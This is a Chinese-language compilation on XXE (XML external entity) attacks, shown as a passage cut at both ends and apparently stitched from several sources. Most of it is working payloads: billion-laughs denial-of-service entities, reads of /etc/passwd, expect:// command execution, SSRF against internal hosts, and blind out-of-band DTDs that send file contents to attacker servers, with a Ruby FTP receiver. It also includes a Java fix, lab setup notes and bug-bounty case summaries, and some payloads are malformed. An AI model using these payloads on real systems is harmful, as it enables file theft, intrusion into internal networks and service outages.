<lolz>&lol9;</lolz> 或者： <!DOCTYPE data [ <!ENTITY a0 "dos" > <!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;"> <!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;"> <!ENTITY a3 "&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;"> <!ENTITY a4 "&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;"> ]> <data>&a4;</data> POC中中先定义了lol实体，值为"lol"的字符串,后在下面又定义了lol2实体，lol2实体引用10个lol实体，lol3又引用了10个lol2实体的值，依此类推，到了最后在lolz元素中引用的lol9中，就会存在上亿个"lol"字符串 此时解析数据时未做特别处理，即可能造成拒绝服务攻击。 此外还有一种可能造成拒绝服务的Payload,借助读取/dev/random实现. 4.远程命令执行 PHP下需要expect扩展 该CASE是在安装expect扩展的PHP环境里执行系统命令，其他协议也有可能可以执行系统命令。 <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE root [ <!ENTITY content SYSTEM "expect://dir ."> ]> <root><foo>&content;</foo></root> 或者 <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE xxe [ <!ELEMENT name ANY > <!ENTITY xxe SYSTEM "expect://id" >]> <root> <name>&xxe;</name> </root> bind xxe 对于无回显的xml注入: 在你的vps上放1.xml文件，内容如下: <!ENTITY % f SYSTEM "php://filter/read=convert.base64-encode/resource=file:///flag"> <!ENTITY % all "<!ENTITY % s SYSTEM 'http://你的vps/xxe.php?f=%f;'>"> 再在你的vps上放xxe.php，内容如下: <?php file_put_contents("/tmp/1.txt", $_GET['f']); ?> 最后在可以写xml的页面写如下: <!DOCTYPE ANY[ <!ENTITY % r SYSTEM "http://你的vps/1.xml"> %r; %all; %s; ]> 访问1.txt就可以获得flag的内容 5.攻击内网网站 该CASE是攻击内网struts2网站，远程执行系统命令。 <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE root [ <!ENTITY exp SYSTEM "http://192.168.1.103/payload"> ]> <root><foo>&exp;</foo></root> 或者 <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE xxe [ <!ELEMENT name ANY > <!ENTITY xxe SYSTEM "http://127.0.0.1:80/payload" >]> <root> <name>&xxe;</name> </root> 或者 <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE xdsec [ <!ELEMENT methodname ANY > <!ENTITY xxe SYSTEM "http://attacker.com/text.txt" >]> <methodcall> <methodname>&xxe;</methodname> </methodcall> 如果包含文件失败,可能是由于读取php等文件时文件本身包含的<等字符.可以使用Base64编码绕过,如: <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE xdsec [ <!ELEMENT methodname ANY > <!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=index.php" >]> <methodcall> <methodname>&xxe;</methodname> </methodcall> 利用外部实体构造payload向内网其他机器发出请求 ###攻击分类 1.拒绝服务攻击(DDoS) 支持实体测试： <!DOCTYPE data [ <!ELEMENT data (#ANY)> <!ENTITY a0 "dos" > <!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;"> <!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;"> ]> <data>&a2;</data> 如果解析过程变的非常缓慢，则表明测试成功，即目标解析器配置不安全可能遭受至少一种 DDoS 攻击。 Billion Laughs 攻击 (Klein, 2002) 译者注：“Billion Laughs” 攻击 —— 通过创建一项递归的 XML 定义，在内存中生成十亿个“Ha！”字符串，从而导致DDoS 攻击。原理为：构造恶意的XML实体文件耗尽可用内存，因为许多XML解析器在解析XML文档时倾向于将它的整个结构保留在内存中。 <!DOCTYPE data [ <!ENTITY a0 "dos" > <!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;"> <!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;"> <!ENTITY a3 "&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;"> <!ENTITY a4 "&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;"> ]> <data>&a4;</data> 这个文件只有 30 Kb大小但却有 11111 个实体引用，超出了合法的实体引用数量上限。 Billion Laughs 攻击 – 参数实体 (Späth, 2015) <!DOCTYPE data SYSTEM "http://127.0.0.1:5000/dos_indirections_parameterEntity_wfc.dtd" [ <!ELEMENT data (#PCDATA)> ]> <data>&g;</data> 文件位于：http://publicServer.com/dos.dtd <!ENTITY % a0 "dos" > <!ENTITY % a1 "%a0;%a0;%a0;%a0;%a0;%a0;%a0;%a0;%a0;%a0;"> <!ENTITY % a2 "%a1;%a1;%a1;%a1;%a1;%a1;%a1;%a1;%a1;%a1;"> <!ENTITY % a3 "%a2;%a2;%a2;%a2;%a2;%a2;%a2;%a2;%a2;%a2;"> <!ENTITY % a4 "%a3;%a3;%a3;%a3;%a3;%a3;%a3;%a3;%a3;%a3;"> <!ENTITY g "%a4;" > XML 二次爆破 DDoS 攻击 <!DOCTYPE data [ <!ENTITY a0 "dosdosdosdosdosdos...dos" ]> <data>&a0;&a0;...&a0;</data> 一般实体递归 最好不要使用递归 — [WFC: No Recursion] <!DOCTYPE data [ <!ENTITY a "a&b;" > <!ENTITY b "&a;" > ]> <data>&a;</data> 外部一般实体 (Steuck, 2002) 这种攻击方式是通过申明一个外部一般实体，然后引用位于网上或本地的一个大文件(例如：C:/pagefile.sys 或/dev/random)。 然而，这种攻击只是让解析器解析一个 巨大的 XML 文件而已。 <?xml version='1.0'?> <!DOCTYPE data [ <!ENTITY dos SYSTEM "file:///publicServer.com/largeFile.xml" > ]> <data>&dos;</data> 2.基本的 XXE 攻击 基本的 XXE 攻击 (Steuck, 2002) <?xml version="1.0"?> <!DOCTYPE data [ <!ELEMENT data (#ANY)> <!ENTITY file SYSTEM "file:///sys/power/image_size"> ]> <data>&file;</data> 我们以文件 ‘/sys/power/image_size’ 为例，因为它非常短小只有一行且不包含特殊字符。 这种攻击需要一个直接的反馈通道并且读取文件受到 XML 中禁止字符的限制，如 “<” 和 “&”。 如果这些被禁止的字符出现在要访问的文件中(如：/etc/fstab)，则 XML 解析器会抛出一个错误并停止解析。 使用 netdoc 的 XXE 攻击 <?xml version="1.0"?> <!DOCTYPE data [ <!ELEMENT data (#PCDATA)> <!ENTITY file SYSTEM "netdoc:/sys/power/image_size"> ]> <data>&file;</data> 3.高级的 XXE 攻击 – 直接反馈通道 这类攻击为高级的 XXE 攻击，用于绕过对基本的 XXE 攻击的限制和 OOB(外带数据) 攻击 绕过基本 XXE 攻击的限制 (Morgan, 2014) <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE data [ <!ELEMENT data (#ANY)> <!ENTITY % start "<![CDATA["> <!ENTITY % goodies SYSTEM "file:///sys/power/image_size"> <!ENTITY % end "]]>"> <!ENTITY % dtd SYSTEM "http://publicServer.com/parameterEntity_core.dtd"> %dtd; ]> <data>&all;</data> 文件位于：http://publicServer.com/parameterEntity_core.dtd <!ENTITY all '%start;%goodies;%end;'> 滥用属性值的 XXE 攻击 <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE data [ <!ENTITY % remote SYSTEM "http://publicServer.com/external_entity_attribute.dtd"> %remote; ]> <data attrib='&internal;'/> 文件位于：http://publicServer.com/external_entity_attribute.dtd <!ENTITY % payload SYSTEM "file:///sys/power/image_size"> <!ENTITY % param1 "<!ENTITY internal '%payload;'>"> %param1; 4.高级的 XXE 攻击 — 外带数据(OOB)通道 没有可以直接回传的通道不意味着就不存在 XXE 攻击。 XXE OOB 攻击 (Yunusov, 2013) <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE data SYSTEM "http://publicServer.com/parameterEntity_oob.dtd"> <data>&send;</data> 文件位于：http://publicServer.com/parameterEntity_oob.dtd <!ENTITY % file SYSTEM "file:///sys/power/image_size"> <!ENTITY % all "<!ENTITY send SYSTEM 'http://publicServer.com/?%file;'>"> %all; XXE OOB 攻击 – 参数实体 (Yunusov, 2013) 和前面的攻击很像，区别仅在于只使用参数实体。 <?xml version="1.0"?> <!DOCTYPE data [ <!ENTITY % remote SYSTEM "http://publicServer.com/parameterEntity_sendhttp.dtd"> %remote; %send; ]> <data>4</data> 文件位于：http://publicServer.com/parameterEntity_sendhttp.dtd <!ENTITY % payload SYSTEM "file:///sys/power/image_size"> <!ENTITY % param1 "<!ENTITY % send SYSTEM 'http://publicServer.com/%payload;'>"> %param1; XXE OOB 攻击 – 参数实体 FTP (Novikov, 2014) 使用 FTP 协议，攻击者可以读取到任意长度的文件。 <?xml version="1.0"?> <!DOCTYPE data [ <!ENTITY % remote SYSTEM "http://publicServer.com/parameterEntity_sendftp.dtd"> %remote; %send; ]> <data>4</data> 文件位于：http://publicServer.com/parameterEntity_sendftp.dtd <!ENTITY % payload SYSTEM "file:///sys/power/image_size"> <!ENTITY % param1 "<!ENTITY % send SYSTEM 'ftp://publicServer.com/%payload;'>"> %param1; 这种攻击需要配置 FTP 服务器。不过，这个 POC 代码只需要稍作调整即可用于任意的解析器上。 SchemaEntity 攻击 (Späth, 2015) 这里有三种不同的攻击方式：(i) schemaLocation，(ii) noNamespaceSchemaLocation 和 (iii) XInclude。 schemaLocation <?xml version='1.0'?> <!DOCTYPE data [ <!ENTITY % remote SYSTEM "http://publicServer.com/external_entity_attribute.dtd"> %remote; ]> <ttt:data xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:ttt="http://test.com/attack" xsi:schemaLocation="ttt http://publicServer.com/&internal;">4</ttt:data> noNamespaceSchemaLocation <?xml version='1.0'?> <!DOCTYPE data [ <!ENTITY % remote SYSTEM "http://publicServer.com/external_entity_attribute.dtd"> %remote; ]> <data xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="http://publicServer.com/&internal;"></data> XInclude <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE data [ <!ENTITY % remote SYSTEM "http://publicServer.com/external_entity_attribute.dtd"> %remote; ]> <data xmlns:xi="http://www.w3.org/2001/XInclude"><xi:includehref="http://192.168.2.31/&internal;" parse="text"></xi:include></data> 文件位于：http://publicServer.com/external_entity_attribute.dtd <!ENTITY % payload SYSTEM "file:///sys/power/image_size"> <!ENTITY % param1 "<!ENTITY internal '%payload;'>"> %param1; 5.SSRF 攻击 DOCTYPE <?xml version="1.0"?> <!DOCTYPE data SYSTEM "http://publicServer.com/" [ <!ELEMENT data (#ANY)> ]> <data>4</data> 外部一般实体 (Steuck, 2002) <?xml version='1.0'?> <!DOCTYPE data [ <!ELEMENT data (#ANY)> <!ENTITY remote SYSTEM "http://internalSystem.com/file.xml"> ]> <data>&remote;</data> 尽管为了不引起错误，最好是引用格式良好的 XML 文件(或者任何文本文件)，但一些解析器可能还是会调用 URL 引用格式有问题的文件。 外部参数实体 (Yunusov, 2013) <?xml version='1.0'?> <!DOCTYPE data [ <!ELEMENT data (#ANY)> <!ENTITY % remote SYSTEM "http://publicServer.com/url_invocation_parameterEntity.dtd"> %remote; ]> <data>4</data> 文件位于：http://publicServer.com/url_invocation_parameterEntity.dtd <!ELEMENT data2 (#ANY)> 6.XInclude <?xml version='1.0'?> <data xmlns:xi="http://www.w3.org/2001/XInclude"><xi:includehref="http://publicServer.com/file.xml"></xi:include></data> 文件位于：http://publicServer.com/file.xml <?xml version='1.0' encoding='utf-8'?><data>it_works</data> schemaLocation <?xml version='1.0'?> <ttt:data xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:ttt="http://test.com/attack" xsi:schemaLocation="http://publicServer.com/url_invocation_schemaLocation.xsd">4</ttt:data> 文件位于：http://publicServer.com/url_invocation_schemaLocation.xsd <?xml version="1.0" encoding="UTF-8"?> <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:element name="data" type="xs:string"/> </xs:schema> 或者使用这个文件 <?xml version="1.0" encoding="UTF-8"?> <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" targetNamespace="http://test.com/attack"> <xs:element name="data" type="xs:string"/> </xs:schema> noNamespaceSchemaLocation <?xml version='1.0'?> <data xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="http://publicServer.com/url_invocation_noNamespaceSchemaLocation.xsd">4</data> 文件位于：http://publicServer.com/url_invocation_noNamespaceSchemaLocation.xsd <?xml version="1.0" encoding="UTF-8"?> <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"> <xs:element name="data" type="xs:string"/> </xs:schema> XInclude 攻击 (Morgan, 2014) <data xmlns:xi="http://www.w3.org/2001/XInclude"><xi:includehref="/sys/power/image_size"></xi:include></data> 7.XSLT 攻击 <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> <xsl:template match="/"> <xsl:value-of select="document('/sys/power/image_size')"> </xsl:value-of></xsl:template> </xsl:stylesheet> 点：libxml2.9.1及以后，默认不解析外部实体。测试的时候window下使用的是php5.2(libxml Version 2.7.7 ), php5.3(libxml Version 2.7.8)。Linux中需要将libxml低于libxml2.9.1的版本编译到PHP中，可以使用phpinfo()查看libxml的版本信息。 参考链接： http://vulhub.org/#/environments/php_xxe/ 有回显有报错测试代码： 1.<?php 2.$xml=simplexml_load_string($_POST['xml']); 3.print_r($xml); 4.?> 无回显无报错测试代码： 1.<?php 2.$xml=@simplexml_load_string($_POST['xml']); 3.?> ###XXE注入的几种姿势 利用xxe漏洞可以进行拒绝服务攻击，文件读取，命令(代码)执行，SQL(XSS)注入，内外扫描端口，入侵内网站点等，内网探测和入侵是利用xxe中支持的协议进行内网主机和端口发现，可以理解是使用xxe进行SSRF的利用，基本上啥都能做了，一般xxe利用分为两大场景：有回显和无回显。有回显的情况可以直接在页面中看到Payload的执行结果或现象，无回显的情况又称为blind xxe，可以使用外带数据通道提取数据。 1.能够直接回显的 这种能够回显的，直接写一个参数+外部实体然后调用就好了 <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE a [ <!ENTITY file SYSTEM "file:///etc/passwd">]> <foo> <value>&file;</value> </foo> 有回显的情况可以使用如下的两种方式进行XXE注入攻击。 <!DOCTYPE foo [<!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" >]> <foo>&xxe;</foo> <!DOCTYPE foo [<!ELEMENT foo ANY > <!ENTITY % xxe SYSTEM "http://xxx.xxx.xxx/evil.dtd" > %xxe;]> <foo>&evil;</foo> 外部evil.dtd中的内容。 <!ENTITY evil SYSTEM “file:///c:/windows/win.ini” > 当然也可以进行内网站点的入侵(属于SSRF的内容 后续补充)。 2.不能直接回显的，Blind XXE 首先在vps中建立evil.dtd <!ENTITY % all "<!ENTITY &#x25; send SYSTEM 'http://118.89.16.36/x/?id=%file;'>" > %all; 然后xml中书写如下形式 <!DOCTYPE ANY [ <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/hosts"> <!ENTITY % dtd SYSTEM "http://118.89.16.36/evil.dtd"> %dtd; %send; ]> 可以使用外带数据通道提取数据，先使用php://filter获取目标文件的内容，然后将内容以http请求发送到接受数据的服务器(攻击服务器)xxx.xxx.xxx。 <!DOCTYPE updateProfile [ <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=./target.php"> <!ENTITY % dtd SYSTEM "http://xxx.xxx.xxx/evil.dtd"> %dtd; %send; ]> evil.dtd的内容，内部的%号要进行实体编码成&#x25。 <!ENTITY % all “<!ENTITY &#x25; send SYSTEM ‘http://xxx.xxx.xxx/?data=%file;’>” > %all; 有报错直接查看报错信息。 无报错需要访问接受数据的服务器中的日志信息，可以看到经过base64编码过的数据，解码后便可以得到数据。 3.过滤了ENTITY关键字 DTD文档支持这么一种定义，直接在定义文档类型的时候引入外部DTD文档，之后就是同样的姿势了 （本地测试没有成功，可能是姿势问题） <!DOCTYPE svg SYSTEM "http://118.89.16.36/evil.dtd"> <root>&test;</root> evil.dtd <!ENTITY test SYSTEM "file:///etc/passwd"> <!DOCTYPE data [ <!ENTITY a0 "dos" > <!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;"> <!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;"> <!ENTITY a3 "&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;"> <!ENTITY a4 "&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;"> ]> <data>&a4;</data> 4.拒绝服务攻击 这个文件里面存在11111个实体引用，超出了合法的实体引用数量上限 <!DOCTYPE data [ <!ENTITY a0 "dos" > <!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;"> <!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;"> <!ENTITY a3 "&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;"> <!ENTITY a4 "&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;"> ]> <data>&a4;</data> ###xxe注入的tips 1.任意读取txt文件正常，读取php文件报错。因为php文件本身包含<等字符，利用php://filter的base64编码绕过 php://filter/read=convert.base64-encode/resource=http://localhost:88/exponent/index.php <?xml version=”1.0″ encoding=”utf-8″?> <!DOCTYPE entity [ <!ENTITY file SYSTEM ENTITY e SYSTEM “php://filter/read=convert.base64-encode/resource=http://wiki.wooyun.org”> ]> <wooyun> <external>&file;</external> </wooyun> 2.第二种命名实体+外部实体+参数实体写法 中的evil.xml文件 对 <!ENTITY % payload "<!ENTITY &#x25; send SYSTEM 'http://localhost:88/?content=%file;'>"> %payload; 错 <!ENTITY % payload "<!ENTITY % send SYSTEM 'http://localhost:88/?content=%file;'>"> %payload; 里层嵌套为字符实体 例如 %为 &#37;web服务器uri get请求长度一般限制在2k,NET的System.XML会自动进行URLencode； 3.形参实体（就是带%的）只能在dtd（<!DOCTYPE ANY[]）里面调用,其他实体要用'&'开头，';'结尾 4.不明白为什么无回显的情况下一定要三层实体嵌套才正确，二层嵌套就不对（evil.xml中直接写成<!ENTITY % send SYSTEM 'http://localhost:88/?content=%file;'>或是<!ENTITY send SYSTEM 'http://localhost:88/?content=%file;'>） 5.平时burp 抓包 可以在请求头添加 Content-type:application/xml 并添加 xml语句如果报错 或执行则有可能存在xxe漏洞，不断根据response fuzz即可 6.我们既然可以使用file协议读取本地文件，当然也可以使用http协议访问来造成SSRF攻击，甚至可以使用gopher协议。 具体能使用的协议主要取决于PHP，PHP默认支持file、http、ftp、php、compress、data、glob、phar、gopher协议。 如果PHP支持except模块，我们还可以利用except模块来执行系统命令。 简单的SSRF攻击实例如下： <?xml version="1.0" encoding="utf-8" ?> <!DOCTYPE a [ <!ENTITY b SYSTEM "http://127.0.0.1:1234/"> ]> <user> <name>Striker</name> <wechat>strikersb</wechat> <public_wechat>sec_fe</public_wechat> <website>&b;</website> </user> 然后就可以监听到访问了。 SSRF攻击可以成功的话，我们自然可以进而攻击企业内网的系统。 其他更多的危害各位可以参考OWASP出的文档： https://www.owasp.org/images/5/5d/XML_Exteral_Entity_Attack.pdf ###漏洞危害 XXE漏洞目前还未受到广泛关注,Wooyun上几个XXE引起的安全问题: ·pull-in任意文件遍历/下载 ·从开源中国的某XXE漏洞到主站shell ·百度某功能XML实体注入 ·百度某功能XML实体注入（二） 借助XXE,攻击者可以实现任意文件读取,DOS拒绝服务攻击以及代理扫描内网等. 对于不同XML解析器,对外部实体有不同处理规则,在PHP中默认处理的函数为: xml_parse 和 simplexml_load xml_parse的实现方式为expat库，默认情况不会解析外部实体,而simplexml_load默认情况下会解析外部实体,造成安全威胁. 除PHP外，在Java，Python等处理xml的组件及函数中都可能存在此问题 ###java中的xxe利用 1.漏洞代码 造成Java XXE漏洞的代码，真的非常多。比如下面的漏洞代码。 import org.apache.commons.digester3.Digester; maven配置： <dependency> <groupId>org.apache.commons</groupId> <artifactId>commons-digester3</artifactId> <version>3.2</version> </dependency> 代码 @RequestMapping("/xxe") @ResponseBody public static String xxetest(HttpServletRequest request) { try { String xml_con = request.getParameter("xml").toString(); Digester digester = new Digester(); digester.parse(new StringReader(xml_con)); return "test"; } catch (Exception e) { return "except"; } } 这个代码使用Digester类，所以最后修复代码需要使用该类的setFeature方法。 修复代码： public static String xxetest(HttpServletRequest request) { try { String xml_con = request.getParameter("xml").toString(); Digester digester = new Digester(); // parse解析之前设置 digester.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); digester.parse(new StringReader(xml_con)); return "test"; } catch (Exception e) { return "except"; } } 再次利用时，会提示将功能"http://apache.org/xml/features/disallow-doctype-decl"设置为"真"时，不允许使用DOCTYPE。所以，这应该是在检测解析的内容是否有DOCTYPE，DOCTYPE是定义DTD的宏。黑盒测试，检测的内容为<!DOCTYPE，毕竟设置的features为disallow-doctype-decl。 其他类造成的XXE修复方案，可以参考这个文档。http://find-sec-bugs.github.io/bugs.htm 2.payload 该payload读取/etc/redhat-release文件内容。该文件内容一般情况下只有一行，所以用来证明XXE的任意文件读取，还比较合适。 URL编码后的payload： <%3fxml+version%3d"1.0"%3f><!DOCTYPE+root+%5b<!ENTITY+%25+remote+SYSTEM+"http%3a%2f%2ftest.joychou.me%3a8081%2fevil.xml">%25remote%3b%5d><root%2f>EM+"http%3a%2f%2ftest.joychou.me%3a8081%2fevil.xml">%25remote%3b%5d><root%2f> 解码为： <?xml version="1.0"?><!DOCTYPE root [<!ENTITY % remote SYSTEM "http://test.joychou.me:8081/evil.xml">%remote;]><root/> http://test.joychou.me:8081/evil.xml的内容如下： <!ENTITY % payload SYSTEM "file:///etc/redhat-release"> <!ENTITY % int "<!ENTITY &#37; trick SYSTEM 'http://test.joychou.me:8081/%payload;'>">; 用这个的方式，可以来证明任意文件读取。 3.协议问题 Java在Blind XXE的利用上，读取文件会有些问题。 在PHP中，我们可以使用php://filter/read=convert.base64-encode/resource=/etc/hosts方法将文本内容进行base64编码。 Java中，没这样编码方法，所以如果要读取换行的文件，一般使用FTP协议，HTTP协议会由于存在换行等字符，请求会发送失败。 FTP读取方法可以参考这篇文章，里面也有FTP Server的相关代码。http://www.voidcn.com/article/p-njawsjxm-ko.html 开启一个匿名登录的FTP Server，端口为33的ruby脚本，ftp.rb require 'socket' server = TCPServer.new 33 loop do Thread.start(server.accept) do |client| puts "New client connected" data = "" client.puts("220 xxe-ftp-server") loop { req = client.gets() puts "< "+req if req.include? "USER" client.puts("331 password please - version check") else #puts "> 230 more data please!" client.puts("230 more data please!") end } end end http://test.joychou.me:8081/evil.xml的内容如下： <!ENTITY % payload SYSTEM "file:///tmp/1.txt"> <!ENTITY % int "<!ENTITY &#37; trick SYSTEM 'ftp://test.joychou.me:33/%payload;'>"> 目的是读取XXE漏洞服务器上的/tmp/1.txt文件。 test.joychou.me服务器上执行ruby ftp.rb 访问URL，http://localhost:8080/xxe?xml=%3C%3fxml+version%3d%221.0%22%3f%3E%3C!DOCTYPE+root+%5b%3C!ENTITY+%25+remote+SYSTEM+%22http%3a%2f%2ftest.joychou.me%3a8081%2fevil.xml%22%3E%25remote%3b%5d%3E%3Croot%2f%3E /tmp/1.txt的内容为 $ cat /tmp/1.txt test xxe ftp FTP Server收到以下内容： New client connected < USER anonymous < PASS Java1.8.0_121@ < TYPE I < EPSV ALL < EPSV < EPRT |1|172.17.29.150|60731| < RETR test < xxe < ftp 可以看到完全读取了/tmp/1.txt的内容，并且还包括XXE漏洞服务器的内网IP 172.17.29.150。 不过有些字符只要存在，文件内容就会读取不到，比如#等字符，哪行有这些字符，读取前一行就结束。大家可以自行测试。 4.漏洞修复代码 把修复代码放在了github上。 https://github.com/JoyChou93/java-sec-code ###PHP环境 XML外部实体注入漏洞（XXE） 环境介绍： 1.PHP 7.x 最新版 2.Apache 2.x 稳定版 3.libxml 2.8.0 libxml2.9.0以后，默认不解析外部实体，导致XXE漏洞逐渐消亡。为了演示PHP环境下的XXE漏洞，本例会将libxml2.8.0版本编译进PHP中。PHP版本并不影响XXE利用。 使用如下命令编译并启动环境： docker-compose build docker-compose up -d 编译时间较长，请耐心等待。 环境启动后，访问http://your-ip/index.php即可看到phpinfo，搜索libxml即可看到其版本为2.8.0。 Web目录为./www，其中包含4个文件： bash $ tree . . ├── dom.php # 示例：使用DOMDocument解析body ├── index.php ├── SimpleXMLElement.php # 示例：使用SimpleXMLElement类解析body └── simplexml_load_string.php # 示例：使用simplexml_load_string函数解析body dom.php、SimpleXMLElement.php、simplexml_load_string.php均可触发XXE漏洞，具体输出点请阅读这三个文件的代码。 Simple XXE Payload： <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE xxe [ <!ELEMENT name ANY > <!ENTITY xxe SYSTEM "file:///etc/passwd" >]> <root> <name>&xxe;</name> </root> 或者: <?php $a=<<<XML //书写XML文档 XML; //注：在高版本php中对外部实体的解析默认关闭了，所以下面要这样写来启用 libxml_disable_entity_loader(false); $data=simplexml_load_string($a, 'SimpleXMLElement', LIBXML_NOENT); echo $data; ?> 输出： ###xxe的典型案例一 1. Google xxe的读取访问 URL：google.com/gadgets/directory?synd=toolbar 报告链接：https://blog.detectify.com/2014/04/11/how-we-got-read-access-on-googles-production-servers 描述： 了解 XML 以及外部实体之后，这个漏洞实际上就非常直接了。Google 的工具栏按钮允许开发者定义它们自己的按钮，通过上传包含特定元数据的 XML 文件。 但是，根据 Detectify 小组，通过上传带有!ENTITY，指向外部文件的 XML 文件，Google 解析了该文件，并渲染了内容。因此，小组使用了 XXE 漏洞来渲染服务器的/etc/passwd文件。游戏结束。 2. Facebook XXE URL：facebook.com/careers 报告链接：http://www.attack-secure.com/blog/hacked-facebook-word-document 描述： 这个 XXE 有一些区别，并且比第一个例子更有挑战，因为它涉及到远程调用服务器，就像我们在描述中讨论的那样。 2013 年末，Facebook 修补了一个 XXE 漏洞，它可能会升级为远程代码执行漏洞，因为/etc/passwd文件的内容是可访问的。因此在 Mohamed 于 2014 年 4 月挑战自己来渗透 Facebook 的时候，它不认为 XXE 可能存在，直到他发现它们的职位页面允许用户上传.docx文件，它可以包含 XML。对于那些不知道的人，.docx文件只是个 XML 文件的压缩包。所以，根据 Mohames，它创建了一个.docx文件，并使用 7zip 打开它来提取内容，并将下面的载荷插入了一个 XML 文件中。 <!DOCTYPE root [ <!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % dtd SYSTEM "http://197.37.102.90/ext.dtd"> %dtd; %send; ]]> 你会想到，在解析的时候，如果受害者开启了外部实体，XML 解析器会调用远程主机。要注意!ENTITY定义中和下面使用了%。这是因为这些占位符用在 DTD 自身中。在收到请求调用之后，远程服务器会发送回 DTD 文件，像这样： <!ENTITY send SYSTEM 'http://197.37.102.90/?%26file;'>" 所以，回到文件中的载荷： 1.解析器会将%dtd;替换为获取远程 DTD 文件的调用。 2.解析器会将%send;替换为服务器的远程调用，但是%file;会替换为file:///etc/passwd的内容。 所以，Mohamed 使用 Python 和SimpleHTTPServer开启了一台本地服务器，并等待接收： 在报告之后，Facebook 发送了回复，拒绝了这个报告，并说它们不能重现它，并请求内容的视频验证。在交换一些信息之后，Facebook 提到招聘人员可能打开了文件，它会发送任意请求。Facebook 自傲组做了一些深入的挖掘，并给予了奖金，发送了一个邮件，解释了这个 XXE 的影响比 2013 年初的要小，但是仍然是一个有效的利用，这里是这个信息。 重要结论 这里有一些重要结论。XML 文件以不同形式和大小出现。要留意接受.docx、.xlsx、.pptx，以及其它的站点。向我之前提到过的那样，有时候你不会直接从 XXE 收到响应，这个示例展示了如何建立服务器来接受请求，它展示了 XXE。 此外，像我们的例子中那样，有时报告一开始会被拒绝。拥有信息和耐心和你报告的公司周旋非常重要。尊重他们的决策，同时也解释为什么这可能是个漏洞。 3. Wikiloc XXE URL：wikiloc.com 报告链接：http://www.davidsopas.com/wikiloc-xxe-vulnerability 描述： 根据他们的站定，Wikiloc 是个用于发现和分享最佳户外远足、骑车以及许多其他运动记录的地方。有趣的是，他们也让用户通过 XML 文件上传他们自己的记录，这就对例如 David Soaps 之类的骑手非常有吸引力了。 基于他们的 Write Up，David 注册了 Wikiloc，并注意到了 XML 上传点，决定测试它有没有 XXE 漏洞。最开始，它从站点下载了文件来判断 XML 结构，这里是一个.gpx文件，并插入了*<!DOCTYPE foo [<!ENTITY xxe SYSTEM “http://www.davidsopas.com/XXE” > ]>;。 之后它调用了.gpx文件中 13 行的记录名称中的实体。 <!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://www.davidsopas.com/XXE" > ]> <gpx version="1.0" creator="GPSBabel - http://www.gpsbabel.org" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://www.topografix.com/GPX/1/0" xsi:schemaLocation="http://www.topografix.com/GPX/1/1 http://www.topografix.com/GPX/1/1/gpx.xsd"> <time>2015-10-29T12:53:09Z</time> <bounds minlat="40.734267000" minlon="-8.265529000" maxlat="40.881475000" maxlon="-8.037170000"/> <trk> <name>&xxe;</name> <trkseg> <trkpt lat="40.737758000" lon="-8.093361000"> <ele>178.000000</ele> <time>2009-01-10T14:18:10Z</time> (...) 这产生了发往服务器的 HTTP GET 请求，GET 144.76.194.66 /XXE/ 10/29/15 1:02PM Java/1.7.0_51。这有两个原因值得注意，首先，通过使用一个概念调用的简单证明，David 能够确认服务器求解了它插入的 XML 并且进行了外部调用。其次，David 使用现存的 XML 文件，以便时它的内容满足站点所预期的结构。虽然它没有讨论这个，调用它的服务器可能并不是必须的，如果它能够服务/etc/passwd文件，并将内容渲染在<name>元素中。 在确认 Wikiloc 会生成外部 HTTP 请求后，唯一的疑问就是，是否它能够读取本地文件。所以，它修改了注入的XML，来让 Wikiloc 